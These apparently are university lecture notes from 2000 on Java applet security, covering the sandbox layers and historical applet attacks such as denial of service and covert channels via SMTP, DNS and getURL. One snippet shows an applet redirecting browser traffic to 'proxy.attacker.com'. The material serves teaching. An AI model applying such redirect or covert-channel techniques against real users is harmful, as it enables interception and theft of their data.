Java Security

CS6204 - Java and the WWW

References


Background


How Intriniscally Secure is Java?


Java's Approach

What you don't want an attacker to do...

Hey, let's give you some code to download to your browser that overrights files on your disk, reads and sends over the network your most private files (and other stuff that Active-X can do)...

Sandbox Model:

image of java's sandbox

Boundaries of the sandbox defined by:

  1. Language Features (e.g., avoids pointer abuse)
  2. ClassLoader (First link in security chain -- enforces name space)
  3. Bytecode Verification (Second link - checks conformance to Java language spec)
  4. SecurityManager (when applet performs potentially dangerous operation [e.g., write a file], decides whether it's ok)
  5. Networking security
Let's look at each of the five...

Sandbox Method 1:  Language Features

Memory Allocation and Layout

Things that help security in Java...

But Java still has a potential weakness...

Sandbox Method 2:  ClassLoader

What you don't want an attacker to do...

Hey, let's replace the SecurityManager class in your Web browser by our own!  It will let us attackers do anything we want!

Name Spaces

ClassLoader

Sandbox Method 3:  Bytecode verification

What you don't want an attacker to do...

Hey, why bother to figure out how to write Java source code that attacks?  We'll just write bogus bytecode for you to download!

Sandbox Method 4:  SecurityManager

SecurityManager class defines and implements a security policy, centralizing all access control decisions.

When Java runtime system starts, there's no security manager.  So any access throws SecurityException for all access checks.

Malicious code, in theory, can't access internals of security manager due to Java's type system.

Sandbox Method 5:  Java Networking Package


Applet Attacks

  1. Integrity attacks
  2. Availability attacks
  3. Disclosure attacks
  4. Annoyance attacks

Security Threats

Trojan Horses

Two Vs. Three Party Attacks

Viruses

Denial of Service

Example:

Applet can acquire locks on critical pieces of Web browser to criple it.

Sneakier Denial of Service Attacks

Degradation of Service


Applet Attacks (Illustration)

Three Party Attack

The accept() system call was not protected by usual security checks in HotJava.  It accepted a connection by any process on the Internet that knew the IP address of the browser.  So Charlie could connect to Alice's machines!

How would Charlie get the address? See next section!


Covert Channels - Ways to Break a Firewall

Method 1:  Email

If Bob's Web server is running SMTP mail daemon, applet could connect to it and transmit an e-mail message to any machine on the Internet (e.g., Charlie)!

Method 2:  DNS

Applet can control which DNS server supplies the IP addresses.  So trojan horse in downloaded applet can do a DNS lookup to a ficticious machine in attacker's domain.

Request goes to attacher's DNS server.

Attacker's DNS server then lies:

This worked in early jdk and Netscape, even when security mode was set to "no network access"!
 

Method 3:  getURL()


What Information Is Available for Transmission over a Covert Channel?


Another attack:  redirect all HTTP and FTP requests

  • Java applet can use following to reset proxy server, so an attacking proxy could log or copy all files used by Web browser.
  • If user prints a page, this setting becomes the default and then applies to future invocations of Web browser!
  • hotjava.props.put("proxyHost","proxy.attacker.com");
    hotjava.props.put("proxyPort", 8080);
    hotjava.props.put("proxySet", "true");

    Another attack:  Buffer overflows in calls to sprintf() by JDK

    Comments...

    Another attack:  Sabotage Another Applet Running on Client


    Browser Security Example... Netscape

    Applets cannot do the following in Netscape's browser:


    Java Software for Security


    New Developments in Java 2

    Fine-grained access control in JDK 1.2

    Forget the idea that local code should be trusted!

    Protection Domains


    Concluding Remarks


    Last modified on 9 October 2000 by abrams@vt.edu.